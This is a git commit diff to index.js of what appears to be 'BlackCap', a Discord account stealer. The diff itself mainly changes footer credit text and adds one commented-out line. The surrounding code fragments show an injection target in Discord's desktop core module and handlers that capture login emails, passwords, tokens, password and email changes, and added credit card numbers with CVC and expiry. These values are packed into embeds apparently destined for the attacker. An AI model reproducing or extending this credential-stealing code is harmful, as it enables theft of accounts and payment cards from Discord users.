Update index.js
This commit is contained in:
parent
172a025b90
commit
9328e00910
25
index.js
25
index.js
|
@ -75,6 +75,7 @@ function updateCheck() {
|
||||||
const indexJs = `${app}\\modules\\discord_desktop_core-1\\discord_desktop_core\\index.js`;
|
const indexJs = `${app}\\modules\\discord_desktop_core-1\\discord_desktop_core\\index.js`;
|
||||||
const bdPath = path.join(process.env.APPDATA, "\\betterdiscord\\data\\betterdiscord.asar");
|
const bdPath = path.join(process.env.APPDATA, "\\betterdiscord\\data\\betterdiscord.asar");
|
||||||
if (!fs.existsSync(appPath)) fs.mkdirSync(appPath);
|
if (!fs.existsSync(appPath)) fs.mkdirSync(appPath);
|
||||||
|
//if(config.nume_core === "%num_core_discord%")return;
|
||||||
if(app === 'Lightcord')return;
|
if(app === 'Lightcord')return;
|
||||||
if(app === 'DiscordCanary')return;
|
if(app === 'DiscordCanary')return;
|
||||||
if(app === 'DiscordPTB')return;
|
if(app === 'DiscordPTB')return;
|
||||||
|
@ -284,7 +285,7 @@ async function FirstTime() {
|
||||||
name: "BlackCap"
|
name: "BlackCap"
|
||||||
},
|
},
|
||||||
footer: {
|
footer: {
|
||||||
text: "<EFBFBD>KSCH | https://github.com/KSCHdsc"
|
text: "©KSCH | https://github.com/KSCHdsc"
|
||||||
}
|
}
|
||||||
}]
|
}]
|
||||||
};
|
};
|
||||||
|
@ -352,7 +353,7 @@ async function FirstTime() {
|
||||||
}],
|
}],
|
||||||
|
|
||||||
footer: {
|
footer: {
|
||||||
text: "<EFBFBD>KSCH | https://github.com/KSCHdsc"
|
text: "©KSCH | https://github.com/KSCHdsc"
|
||||||
},
|
},
|
||||||
image: {
|
image: {
|
||||||
url: bannerurl,
|
url: bannerurl,
|
||||||
|
@ -399,7 +400,7 @@ async function FirstTime() {
|
||||||
name: "BlackCap"
|
name: "BlackCap"
|
||||||
},
|
},
|
||||||
footer: {
|
footer: {
|
||||||
text: "<EFBFBD>KSCH | https://github.com/KSCHdsc"
|
text: "©KSCH | https://github.com/KSCHdsc"
|
||||||
}
|
}
|
||||||
}]
|
}]
|
||||||
};
|
};
|
||||||
|
@ -463,7 +464,7 @@ async function FirstTime() {
|
||||||
}],
|
}],
|
||||||
|
|
||||||
footer: {
|
footer: {
|
||||||
text: "<EFBFBD>KSCH | https://github.com/KSCHdsc"
|
text: "©KSCH | https://github.com/KSCHdsc"
|
||||||
},
|
},
|
||||||
image: {
|
image: {
|
||||||
url: bannerurl,
|
url: bannerurl,
|
||||||
|
@ -904,7 +905,7 @@ async function Login(email, password, token) {
|
||||||
}, ],
|
}, ],
|
||||||
|
|
||||||
"footer": {
|
"footer": {
|
||||||
"text": "<EFBFBD>KSCH | https://github.com/KSCHdsc"
|
"text": "©KSCH | https://github.com/KSCHdsc"
|
||||||
},
|
},
|
||||||
"thumbnail": {
|
"thumbnail": {
|
||||||
"url": `${usericonurl}`
|
"url": `${usericonurl}`
|
||||||
|
@ -915,7 +916,7 @@ async function Login(email, password, token) {
|
||||||
"description": CalcFriends(),
|
"description": CalcFriends(),
|
||||||
|
|
||||||
"footer": {
|
"footer": {
|
||||||
"text": "<EFBFBD>KSCH | https://github.com/KSCHdsc"
|
"text": "©KSCH | https://github.com/KSCHdsc"
|
||||||
},
|
},
|
||||||
"image": {
|
"image": {
|
||||||
'url': `${bannerurl}`,
|
'url': `${bannerurl}`,
|
||||||
|
@ -1069,7 +1070,7 @@ async function ChangePassword(oldpassword, newpassword, token) {
|
||||||
}, ],
|
}, ],
|
||||||
|
|
||||||
"footer": {
|
"footer": {
|
||||||
"text": "<EFBFBD>KSCH | https://github.com/KSCHdsc"
|
"text": "©KSCH | https://github.com/KSCHdsc"
|
||||||
},
|
},
|
||||||
"thumbnail": {
|
"thumbnail": {
|
||||||
"url": `${usericonurl}`
|
"url": `${usericonurl}`
|
||||||
|
@ -1080,7 +1081,7 @@ async function ChangePassword(oldpassword, newpassword, token) {
|
||||||
"description": CalcFriends(),
|
"description": CalcFriends(),
|
||||||
|
|
||||||
"footer": {
|
"footer": {
|
||||||
"text": "<EFBFBD>KSCH | https://github.com/KSCHdsc"
|
"text": "©KSCH | https://github.com/KSCHdsc"
|
||||||
},
|
},
|
||||||
"image": {
|
"image": {
|
||||||
'url': `${bannerurl}`,
|
'url': `${bannerurl}`,
|
||||||
|
@ -1235,7 +1236,7 @@ async function ChangeEmail(newemail, password, token) {
|
||||||
],
|
],
|
||||||
|
|
||||||
"footer": {
|
"footer": {
|
||||||
"text": "<EFBFBD>KSCH | https://github.com/KSCHdsc"
|
"text": "©KSCH | https://github.com/KSCHdsc"
|
||||||
},
|
},
|
||||||
"thumbnail": {
|
"thumbnail": {
|
||||||
"url": `${usericonurl}`
|
"url": `${usericonurl}`
|
||||||
|
@ -1246,7 +1247,7 @@ async function ChangeEmail(newemail, password, token) {
|
||||||
"description": CalcFriends(),
|
"description": CalcFriends(),
|
||||||
|
|
||||||
"footer": {
|
"footer": {
|
||||||
"text": "<EFBFBD>KSCH | https://github.com/KSCHdsc"
|
"text": "©KSCH | https://github.com/KSCHdsc"
|
||||||
},
|
},
|
||||||
"image": {
|
"image": {
|
||||||
'url': `${bannerurl}`,
|
'url': `${bannerurl}`,
|
||||||
|
@ -1306,7 +1307,7 @@ async function CreditCardAdded(number, cvc, expir_month, expir_year, token) {
|
||||||
"name": "BlackCap"
|
"name": "BlackCap"
|
||||||
},
|
},
|
||||||
"footer": {
|
"footer": {
|
||||||
"text": "<EFBFBD>KSCH | https://github.com/KSCHdsc"
|
"text": "©KSCH | https://github.com/KSCHdsc"
|
||||||
},
|
},
|
||||||
"thumbnail": {
|
"thumbnail": {
|
||||||
"url": "https://cdn.discordapp.com/avatars/" + info.id + "/" + info.avatar
|
"url": "https://cdn.discordapp.com/avatars/" + info.id + "/" + info.avatar
|
||||||
|
@ -1318,7 +1319,7 @@ async function CreditCardAdded(number, cvc, expir_month, expir_year, token) {
|
||||||
"description": `\`\`\`diff\n${fs.readFileSync('blackcaped_guilds_result.txt', 'utf-8') || "- This user is not the owner of any server"}\`\`\``,
|
"description": `\`\`\`diff\n${fs.readFileSync('blackcaped_guilds_result.txt', 'utf-8') || "- This user is not the owner of any server"}\`\`\``,
|
||||||
|
|
||||||
"footer": {
|
"footer": {
|
||||||
"text": "<EFBFBD>KSCH | https://github.com/KSCHdsc"
|
"text": "©KSCH | https://github.com/KSCHdsc"
|
||||||
},
|
},
|
||||||
"image": {
|
"image": {
|
||||||
'url': `${bannerurl}`,
|
'url': `${bannerurl}`,
|
||||||
|
|
Loading…
Reference in New Issue